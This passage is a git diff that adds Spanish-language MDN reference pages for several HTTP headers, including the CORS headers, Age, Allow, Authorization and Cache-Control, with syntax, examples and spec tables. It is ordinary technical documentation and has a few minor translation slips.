+ <li>{{HTTPHeader("Access-Control-Request-Headers")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/access-control-allow-methods/index.html b/files/es/web/http/headers/access-control-allow-methods/index.html
new file mode 100644
index 0000000000..062ed99783
--- /dev/null
+++ b/files/es/web/http/headers/access-control-allow-methods/index.html
@@ -0,0 +1,81 @@
+---
+title: Access-Control-Allow-Methods
+slug: Web/HTTP/Headers/Access-Control-Allow-Methods
+translation_of: Web/HTTP/Headers/Access-Control-Allow-Methods
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La cabecera de respuesta <strong><code>Access-Control-Allow-Methods</code></strong> especifica el método o los métodos aceptados cuando se accede al recurso en respuesta de un {{glossary("preflight request")}}.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo de cabecera</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Access-Control-Allow-Methods: &lt;method&gt;, &lt;method&gt;, ...
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt>&lt;método&gt;</dt>
+ <dd>Comma-delimited list of the allowed <a href="/en-US/docs/Web/HTTP/Methods">HTTP request methods</a>.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre>Access-Control-Allow-Methods: POST, GET, OPTIONS</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#http-access-control-allow-methods', 'Access-Control-Allow-Methods')}}</td>
+   <td>{{Spec2("Fetch")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegador">Compatibilidad de navegador</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Access-Control-Allow-Methods")}}</p>
+
+<h2 id="Notas_de_compatibilidad">Notas de compatibilidad</h2>
+
+<ul>
+ <li>The wildcard value (*) that is mentioned in the latest specification, is not yet implemented in browsers:
+  <ul>
+   <li>Chromium: <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=615313">Issue 615313</a></li>
+   <li>Firefox: {{bug(1309358)}}</li>
+   <li>Servo: <a href="https://github.com/servo/servo/issues/13283">Issue 13283</a></li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("Access-Control-Allow-Origin")}}</li>
+ <li>{{HTTPHeader("Access-Control-Expose-Headers")}}</li>
+ <li>{{HTTPHeader("Access-Control-Allow-Headers")}}</li>
+ <li>{{HTTPHeader("Access-Control-Request-Method")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/access-control-allow-origin/index.html b/files/es/web/http/headers/access-control-allow-origin/index.html
new file mode 100644
index 0000000000..e3fed487a2
--- /dev/null
+++ b/files/es/web/http/headers/access-control-allow-origin/index.html
@@ -0,0 +1,99 @@
+---
+title: Access-Control-Allow-Origin
+slug: Web/HTTP/Headers/Access-Control-Allow-Origin
+tags:
+  - Access Control
+  - Access-Control-Allow-Origin
+  - CORS
+  - HTTP
+  - Lidiando con CORS
+  - Origen
+  - Referencia
+  - Seguridad
+  - encabezado HTTP
+  - error cross-origin
+translation_of: Web/HTTP/Headers/Access-Control-Allow-Origin
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El encabezado de respuesta <code><strong>Access-Control-Allow-Origin</strong></code> indica si los recursos de la respuesta pueden ser compartidos con el {{glossary("origin", "origen")}} dado.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo de encabezado</th>
+   <td>{{Glossary("Response header", "Encabezado de respuesta")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name", "Nombre de encabezado prohibido")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">Access-Control-Allow-Origin: *
+Access-Control-Allow-Origin: &lt;origen&gt;
+Access-Control-Allow-Origin: null
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt><code>*</code></dt>
+ <dd>Para las peticiones <em>sin credenciales</em>, el servidor puede especificar el caracter "*" como un comodín, permitiendo a cualquier origen acceder al recurso. El acceso será permitido solamente para las peticiones hechas con el atributo {{htmlattrxref("crossorigin")}} definido como <code>"anonymous"</code>. Intentar usar el comodín con credenciales <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials">resultará en un error</a>.</dd>
+ <br>
+ <dt><code>&lt;origen&gt;</code></dt>
+ <dd>Especifica que origen puede acceder al recurso. Sólo se puede especificar un origen.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Para permitir a cualquier origen el acceso a tus recursos, puedes especificar:</p>
+
+<pre class="notranslate">Access-Control-Allow-Origin: *</pre>
+
+<p>Una respuesta que le dice al navegador que permita la petición de código del origen <code>https://developer.mozilla.org</code> para acceder a los recursos que incluyan lo siguiente:</p>
+
+<pre class="notranslate">Access-Control-Allow-Origin: https://developer.mozilla.org</pre>
+
+<p>Limitando los posibles valores <code>Access-Control-Allow-Origin</code> de un conjunto de orígenes permitidos requiere código del lado del servidor para revisar el valor de la encabezado de petición {{HTTPHeader("Origin")}}, comparan con la lista de valores permitidos, y entonces si el valor {{HTTPHeader("Origin")}} se encuentra en la lista, para definir el valor de <code>Access-Control-Allow-Origin</code> al mismo valor que {{HTTPHeader("Origin")}}.</p>
+
+<h3 id="CORS_y_caché">CORS y caché</h3>
+
+<p>Si el servidor envía una respuesta con un valor <code>Access-Control-Allow-Origin</code> que es un origen explícito (en lugar del comodín "<code>*</code>"), entonces a respuesta debería incluir también el encabezado de respuesta {{HTTPHeader("Vary")}} con el valor <code>origin</code> - para indicar a los navegadores que las respuestas del servidor pueden diferir basadas en el valor del encabezado de respueta <code>Origin</code>.</p>
+
+<pre class="notranslate">Access-Control-Allow-Origin: https://developer.mozilla.org
+Vary: Origin</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#http-access-control-allow-origin', 'Access-Control-Allow-Origin')}}</td>
+   <td>{{Spec2("Fetch")}}</td>
+   <td>Definición Inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_Navegador">Compatibilidad del Navegador</h2>
+
+<p class="hidden">La tabla de compatibilidad en esta página es generada a partir de datos estructurados. Si deseas contribuir a los datos, por favor mira <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y mándanos un pull request.</p>
+
+<p>{{Compat("http.headers.Access-Control-Allow-Origin")}}</p>
+
+<h2 id="Veáse_también">Veáse también</h2>
+
+<ul>
+ <li>{{HTTPHeader("Origin")}}</li>
+ <li>{{HTTPHeader("Vary")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS">Cross-Origin Resource Sharing (CORS)</a></li>
+</ul>
diff --git a/files/es/web/http/headers/access-control-expose-headers/index.html b/files/es/web/http/headers/access-control-expose-headers/index.html
new file mode 100644
index 0000000000..22ecdf4f75
--- /dev/null
+++ b/files/es/web/http/headers/access-control-expose-headers/index.html
@@ -0,0 +1,115 @@
+---
+title: Access-Control-Expose-Headers
+slug: Web/HTTP/Headers/Access-Control-Expose-Headers
+tags:
+  - CORS
+  - Cabecera
+  - HTTP
+translation_of: Web/HTTP/Headers/Access-Control-Expose-Headers
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La cabecera de respuesta <strong><code>Access-Control-Expose-Headers</code></strong> indica qué cabeceras pueden ser expuestas como parte de la respuesta listando sus nombres.</p>
+
+<p>Por defecto, solo se exponen las 7 cabeceras HTTP seguras ({{Glossary("CORS-safelisted response header", "CORS-safelisted response headers")}}, {{Glossary("Simple response header", "simple response headers")}}):</p>
+
+<ul>
+ <li>{{HTTPHeader("Cache-Control")}}</li>
+ <li>{{HTTPHeader("Content-Language")}}</li>
+ <li>{{HTTPHeader("Content-Length")}}</li>
+ <li>{{HTTPHeader("Content-Type")}}</li>
+ <li>{{HTTPHeader("Expires")}}</li>
+ <li>{{HTTPHeader("Last-Modified")}}</li>
+ <li>{{HTTPHeader("Pragma")}}</li>
+</ul>
+
+<p>Si quieres que los clientes puedan acceder a otra cabeceras, tienes que listarlas usando la cabecera <code>Access-Control-Expose-Headers</code></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre>Access-Control-Expose-Headers: &lt;header-name&gt;, &lt;header-name&gt;, ...
+Access-Control-Expose-Headers: *</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt>&lt;header-name&gt;</dt>
+ <dd>Una lista de cabeceras expuestas que consiste en cero o mas <a href="/en-US/docs/Web/HTTP/Headers">nombres de cabeceras</a> diferentes a {{Glossary("Simple response header", "simple response headers")}} que el recurso puede usar y pueden ser expuestas.</dd>
+ <dt><code>*</code> (<em>wildcard</em>, comodín)</dt>
+ <dd>El valor "<code>*</code>" solo funciona como comodín para peticiones sin credenciales (peticiones sin <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a> o autenticación HTTP). Para peticiones con credenciales, se trata como el literal "<code>*</code>", sin semánticas especiales.<br>
+ La cabecera {{HTTPHeader("Authorization")}} siempre se añadirá de manera explícita.<br>
+ <em>Vea cómo se añade en los ejemplos de más abajo</em>.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Para exponer una cabecera no simple, puedes especificar:</p>
+
+<pre>Access-Control-Expose-Headers: Content-Length</pre>
+
+<p>Para exponer cabeceras personalizadas, como <code>X-Kuma-Revision</code>, puedes especificar varias cabeceras separadas por coma:</p>
+
+<pre>Access-Control-Expose-Headers: Content-Length, X-Kuma-Revision</pre>
+
+<p>En peticiones sin credenciales puedes utilizar el valor comodín:</p>
+
+<pre>Access-Control-Expose-Headers: *</pre>
+
+<p>Si necesitas acceder (exponer) la cabecera {{HTTPHeader("Authorization")}}, hay que añadirla de manera explícita:</p>
+
+<pre>Access-Control-Expose-Headers: *, Authorization</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#http-access-control-expose-headers', 'Access-Control-Expose-Headers')}}</td>
+   <td>{{Spec2("Fetch")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Access-Control-Expose-Headers")}}</p>
+
+<h2 id="Notas_de_compatibilidad">Notas de compatibilidad</h2>
+
+<ul>
+ <li>El valor asterisco (*) indica que no es implementado en navegadores:
+  <ul>
+   <li>Chromium: <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=615313">Issue 615313</a></li>
+   <li>Firefox: {{bug(1309358)}}</li>
+   <li>Servo: <a href="https://github.com/servo/servo/issues/13283">Issue 13283</a></li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{HTTPHeader("Access-Control-Allow-Headers")}}</li>
+ <li>{{HTTPHeader("Access-Control-Allow-Origin")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/age/index.html b/files/es/web/http/headers/age/index.html
new file mode 100644
index 0000000000..58498e3dca
--- /dev/null
+++ b/files/es/web/http/headers/age/index.html
@@ -0,0 +1,75 @@
+---
+title: Age
+slug: Web/HTTP/Headers/Age
+tags:
+  - Encabezado HTTP Age
+translation_of: Web/HTTP/Headers/Age
+---
+<div> </div>
+
+<div>El encabezado <code><strong>Age</strong></code> contiene el tiempo medido en segundos que el objeto ha estado en la memoria caché de servidor proxy.</div>
+
+<div> </div>
+
+<div>El encabezado <code><strong>Age</strong></code> suele estar seteado en 0 (cero). Si <code><strong>Age : 0</strong></code> probablemente en ese instante se acaba de obtener la respuesta del servidor de origen, de lo contrario, por lo general esto se calcula como la diferencia entre la fecha actual del proxy y la fecha dada por el parámetro en cabecera "Date" ({{HTTPHeader("Date")}} ) incluído en la respuesta HTTP.</div>
+
+<div> </div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo de Cabecera</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Nombre de Cabecera Prohibido {{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Age: &lt;segundos&gt;
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt>&lt;segundos&gt;</dt>
+ <dd>
+ <p>Número entero no negativo, que representa el tiempo en segundos que el objeto ha almacenado en la caché del proxy.</p>
+ </dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre>Age: 24</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7234", "Age", "5.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_Navegadores">Compatibilidad de Navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Age")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{HTTPHeader("Cache-Control")}}</li>
+ <li>{{HTTPHeader("Expires")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/allow/index.html b/files/es/web/http/headers/allow/index.html
new file mode 100644
index 0000000000..d5a0e723ea
--- /dev/null
+++ b/files/es/web/http/headers/allow/index.html
@@ -0,0 +1,61 @@
+---
+title: Allow
+slug: Web/HTTP/Headers/Allow
+translation_of: Web/HTTP/Headers/Allow
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La cabecera <code><strong>Allow</strong></code> enumera el conjunto de métodos admitidos por un recurso.</p>
+
+<p>Esta cabecera debe ser enviada si el servidor responde con un estado {{HTTPStatus("405")}} <code>Method Not Allowed</code> para indicar cual metodo de peticion puede ser usado. Una cabecera <code>Allow</code> vacia indica que el recurso no permite ningún método de solicitud, que podría ocurrir temporalmente para un recurso determinado, por ejemplo.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Entity header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintáxis">Sintáxis</h2>
+
+<pre class="syntaxbox">Allow: &lt;http-methods&gt;
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt>&lt;http-methods&gt;</dt>
+ <dd>La lista de métodos de solicitud HTTP permitidos.</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre>Allow: GET, POST, HEAD</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Allow", "7.4.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{HTTPStatus("405")}}</li>
+ <li>{{HTTPHeader("Server")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/authorization/index.html b/files/es/web/http/headers/authorization/index.html
new file mode 100644
index 0000000000..79545c3a28
--- /dev/null
+++ b/files/es/web/http/headers/authorization/index.html
@@ -0,0 +1,86 @@
+---
+title: Authorization
+slug: Web/HTTP/Headers/Authorization
+translation_of: Web/HTTP/Headers/Authorization
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La cabecera de petición <strong><code>Authorization</code></strong> contiene las credenciales para autenticar a un usuario en un servidor, usualmente luego de que el servidor haya respondido con un estado {{HTTPStatus("401")}} <code>Unauthorized</code> y la cabecera {{HTTPHeader("WWW-Authenticate")}}.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo de cabecera</th>
+   <td>{{Glossary("Cabecera de respuesta")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Nombre de encabezado prohibido")}}</th>
+   <td>No</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Authorization: &lt;tipo&gt; &lt;credenciales&gt;</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt>&lt;tipo&gt;</dt>
+ <dd><a href="/en-US/docs/Web/HTTP/Authentication#Authentication_schemes">Tipo de Autenticación</a>. Un tipo común es <a href="/en-US/docs/Web/HTTP/Authentication#Basic_authentication_scheme">"Basic"</a>. Otros tipos:
+ <ul>
+  <li><a href="http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml">IANA registry of Authentication schemes</a></li>
+  <li><a href="http://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-auth-using-authorization-header.html">Authentification for AWS servers (<code>AWS4-HMAC-SHA256</code>)</a></li>
+ </ul>
+ </dd>
+ <dt>&lt;credenciales&gt;</dt>
+ <dd>Si se utiliza el esquema de la autenticación "Basic", las credenciales son construidas de esta forma:
+ <ul>
+  <li>El usuario y la contraseña se combinan con dos puntos (<code>aladdin:opensesame</code>).</li>
+  <li>El string resultante está basado en la codificación <a href="/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding">base64</a> (<code>YWxhZGRpbjpvcGVuc2VzYW1l</code>).</li>
+ </ul>
+
+ <div class="note">
+ <p><strong>Nota</strong>: ¡La codificación Base64 no es equivalente a encriptación o hashing! Este método es igual de seguro a enviar las credenciales en un archivo plano de texto (la codificación base64 es reversible). Lo recomendable es utilizar HTTPS en conjunto a la autenticación básica.</p>
+ </div>
+ </dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre>Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l
+</pre>
+
+<p>Ver también<a href="/en-US/docs/Web/HTTP/Authentication"> HTTP authentication</a> para ejemplos sobre cómo configurar servidores Apache o nginx para proteger su sitio con contraseña usando la autenticación básica HTTP.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("7235", "Authorization", "4.2")}}</td>
+   <td>HTTP/1.1: Authentication</td>
+  </tr>
+  <tr>
+   <td>{{RFC("7617")}}</td>
+   <td>The 'Basic' HTTP Authentication Scheme</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Authentication">HTTP authentication</a></li>
+ <li>{{HTTPHeader("WWW-Authenticate")}}</li>
+ <li>{{HTTPHeader("Proxy-Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authenticate")}}</li>
+ <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/cache-control/index.html b/files/es/web/http/headers/cache-control/index.html
new file mode 100644
index 0000000000..64d33e766e
--- /dev/null
+++ b/files/es/web/http/headers/cache-control/index.html
@@ -0,0 +1,241 @@
+---
+title: Cache-Control
+slug: Web/HTTP/Headers/Cache-Control
+tags:
+  - Cache-Control
+  - Encabezado general
+  - HTTP
+  - Referencia
+  - encabezado HTTP
+translation_of: Web/HTTP/Headers/Cache-Control
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="seoSummary">El encabezado HTTP <strong><code>Cache-Control</code></strong> especifica <em>directivas</em> (instrucciones) para <a href="/en-US/docs/Web/HTTP/Caching">almacenar temporalmente (caching)</a> tanto en peticiones como en respuestas. Una directiva dada en una petición no significa que la misma directiva estar en la respuesta.</span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo de encabezado</th>
+   <td>{{Glossary("General header", "Encabezado general")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name", "nombre prohibido del encabezado")}}</th>
+   <td>no</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("CORS-safelisted response header", "Respuesta del encabezado CORS-safelisted")}}</th>
+   <td>yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<p>Las directivas para almacenamiento temporal siguen las siguientes reglas para ser válidas:</p>
+
+<ul>
+ <li>Insensible a mayúsculas, pero las minúsculas son recomendadas.</li>
+ <li>Directivas múltiples son separadas por comas.</li>
+ <li>Algunas directivas tienen un argumento opcional, lo cual puede ser tanto un <em>token</em> o una <em>cadena-citada.</em> (Ver la especificación para definiciones)</li>
+</ul>
+
+<h3 id="Directivas_de_solicitud_de_cache">Directivas de solicitud de cache</h3>
+
+<p>Las directivas estándar <code>Cache-Control</code> que pueden ser usadas por el cliente en una solicitud HTTP.</p>
+
+<pre class="syntaxbox notranslate">Cache-Control: max-age=&lt;seconds&gt;
+Cache-Control: max-stale[=&lt;seconds&gt;]
+Cache-Control: min-fresh=&lt;seconds&gt;
+Cache-Control: no-cache
+Cache-Control: no-store
+Cache-Control: no-transform
+Cache-Control: only-if-cached
+</pre>
+
+<h3 id="Directivas_de_solicitud_de_cache_2">Directivas de solicitud de cache</h3>
+
+<p>Las diretivas estándar <code>Cache-Control</code> que pueden ser usadas por el servidor en una respuesta HTTP.</p>
+
+<pre class="syntaxbox notranslate">Cache-Control: must-revalidate
+Cache-Control: no-cache
+Cache-Control: no-store
+Cache-Control: no-transform
+Cache-Control: public
+Cache-Control: private
+Cache-Control: proxy-revalidate
+Cache-Control: max-age=&lt;seconds&gt;
+Cache-Control: s-maxage=&lt;seconds&gt;
+</pre>
+
+<h3 id="Directivas_de_extensión_de_Cache-Control">Directivas de extensión de Cache-Control</h3>
+
+<p>Las directivas de extensión <code>Cache-Control</code> no forman parte de la base del documento estandar para cacheo HTTP. Revisé la <a href="#Browser_compatibility">tabla de compatibilidad</a> para ver su soporte, los agentes de usuario que no reconocen estas directivas las ignorarán.</p>
+
+<pre class="syntaxbox notranslate">Cache-Control: immutable
+Cache-Control: stale-while-revalidate=&lt;seconds&gt;
+Cache-Control: stale-if-error=&lt;seconds&gt;
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<h3 id="Cacheabilidad">Cacheabilidad</h3>
+
+<ul>
+ <li>Una respuesta es normalmente cacheado por el navegador si
+  <ul>
+   <li>tiene un código de estado <code><a href="/en-US/docs/Web/HTTP/Status/301">301</a></code>, <code><a href="/en-US/docs/Web/HTTP/Status/302">302</a></code>, <code><a href="/en-US/docs/Web/HTTP/Status/307">307</a></code>, <code><a href="/en-US/docs/Web/HTTP/Status/308">308</a></code>, o <code><a href="/en-US/docs/Web/HTTP/Status/410">410</a></code> <strong>y</strong></li>
+   <li><code>Cache-Control</code> no tiene <code>no-store</code>, o <em>si proxy</em>, no tiene <code>private</code> <strong>y</strong></li>
+   <li><code><a href="/en-US/docs/Web/HTTP/Headers/Authorization">Authorization</a></code> no esta definido</li>
+   <li>Cualquiera
+    <ul>
+     <li>tiene un código de estado <code><a href="/en-US/docs/Web/HTTP/Status/301">301</a></code>, <code><a href="/en-US/docs/Web/HTTP/Status/302">302</a></code>, <code><a href="/en-US/docs/Web/HTTP/Status/307">307</a></code>, <code><a href="/en-US/docs/Web/HTTP/Status/308">308</a></code>, o <code><a href="/en-US/docs/Web/HTTP/Status/410">410</a></code> <strong>o</strong></li>
+     <li>tiene <code>public</code>, <code>max-age</code> o <code>s-maxage</code> en <code>Cache-Control</code> <strong>o</strong></li>
+     <li>tiene definido <code><a href="/en-US/docs/Web/HTTP/Headers/Expires">Expires</a></code></li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+</ul>
+
+<dl>
+ <dt><code>public</code></dt>
+ <dd>La respuesta puede estar almacenada en <em>cualquier</em> memoria cache, incluso si la petición normalmente no es cacheable.</dd>
+ <dt><code>private</code></dt>
+ <dd>La respuesta puede estar almacenada sólo por el cache de un <em>navegador</em>, incluso si la petición es normalmente no cacheable. <strong>Si no desea almacenar la respuesta en algún cache, use en su lugar <code>no-store</code>.</strong> <em>Esta directiva no es efectiva previniendo el cacheo al almacenar respuestas.</em></dd>
+ <dt><code>no-cache</code></dt>
+ <dd>La respuesta puede estar almacenada por <em>cualquier</em> cache, incluso si la petición es normalmente no cacheable. Sin embargo, la respuesta almacenada DEBE <em>siempre</em> pasar por una validación con el servidor de origen antes de utilizarse, por lo tanto, no se puede usar <code>no-cache</code> en conjunción con <code>immutable</code>. <strong>Si no desea almacenar la respuesta en algún cache, se debe utilizar <code>no-store</code> en su lugar.</strong> <em>Esta directiva no es efectiva para prevenir el cacheo al guardar la respuesta.</em></dd>
+ <dt><code>no-store</code></dt>
+ <dd>La respuesta puede <strong>no</strong> ser almacenada en <em>cualquier</em> cache. Aunque otras directivas pueden definirla, ésta es la <em>única directiva que se necesita para prevenir el cacheo de respuestas </em>en navegadores modernos. <code>max-age=0</code> <strong>es implícito</strong>. <strong>Configurando</strong> <code>must-revalidate</code> <strong>no tiene sentido</strong> porque en orden para revalidar se necesita que la respuesta este almacenada en la cache, lo cual <code>no-store</code> previene.</dd>
+ <dd><strong>No copie y pege el método específico para Intenet Explorer</strong> <code>pre-check=0,post-check=0</code> si lo ve en línea porque es completamente ignorado, confirmado por <a href="https://twitter.com/ericlaw/status/685201170260819968">el tweet de un desarrollador de Edge</a>.</dd>
+ <dt>Deshabilitando Cache vía Cache-Control</dt>
+ <dd>
+ <pre class="example-good notranslate">no-store</pre>
+ </dd>
+ <dd>
+ <pre class="example-bad notranslate">no-cache,no-store,must-revalidate,pre-check=0,post-check=0</pre>
+ </dd>
+</dl>
+
+<h3 id="Expiración">Expiración</h3>
+
+<dl>
+ <dt><code>max-age=&lt;seconds&gt;</code></dt>
+ <dd>La cantidad máxima de tiempo un recurso es considerado reciente. A diferencia de <code>Expires</code>, esta directiva es relativa a el tiempo de la petición.</dd>
+ <dt><code>s-maxage=&lt;seconds&gt;</code></dt>
+ <dd>Anula el encabezado <code>max-age</code> o el <code>Expires</code>, pero solo para caches compartidos (e.g., proxies). Ignorado por caches privados.</dd>
+ <dt><code>max-stale[=&lt;seconds&gt;]</code></dt>
+ <dd>Indica que el cliente aceptará una respuesta tardía. Un valor opciona en segundo indica el límite superior de estancamiento que el cliente aceptará.</dd>
+ <dt><code>min-fresh=&lt;seconds&gt;</code></dt>
+ <dd>Indica que el cliente quiere una respuesta que será reciente por <em>al menos</em> el número específico de segundos.</dd>
+ <dt><code>stale-while-revalidate=&lt;seconds&gt;</code> {{Experimental_Inline}}</dt>
+ <dd>Indica que el cliente aceptará una respuesta tardía, mientras asíncronamente revisa por el fondo por una reciente. El valor de los <em>segundos</em> indica que tan largo es el cliente aceptará una respuesta estancada. Ver "<a href="https://web.dev/stale-while-revalidate">Manteniendo las cosas frescas con <code>stale-while-revalidate</code></a>" para más información.</dd>
+ <dt><code>stale-if-error=&lt;seconds&gt;</code> {{Experimental_Inline}}</dt>
+ <dd>Indica que el cliente aceptará una respuesta tardía si la revisión por una resúesta reciente falla. El valor de los<em> segundos</em> indica cuanto tiempo el cliente aceptará la respuesta tardía después de una expiración inicial.</dd>
+</dl>
+
+<h3 id="Revalidación_y_recarga">Revalidación y recarga</h3>
+
+<dl>
+ <dt><code>must-revalidate</code></dt>
+ <dd>Indica que una vez un recurso se vuelve obsoleto, el cache no debe usar su copia obsoleta sin correctamente <a href="/en-US/docs/Web/HTTP/Caching#Cache_validation">validar</a> en el servidor de origen.</dd>
+ <dt><code>proxy-revalidate</code></dt>
+ <dd>Similar a <code>must-revalidate</code>, pero solo para caches compartidos (es decir, proxies). Ignorado por caches privados.</dd>
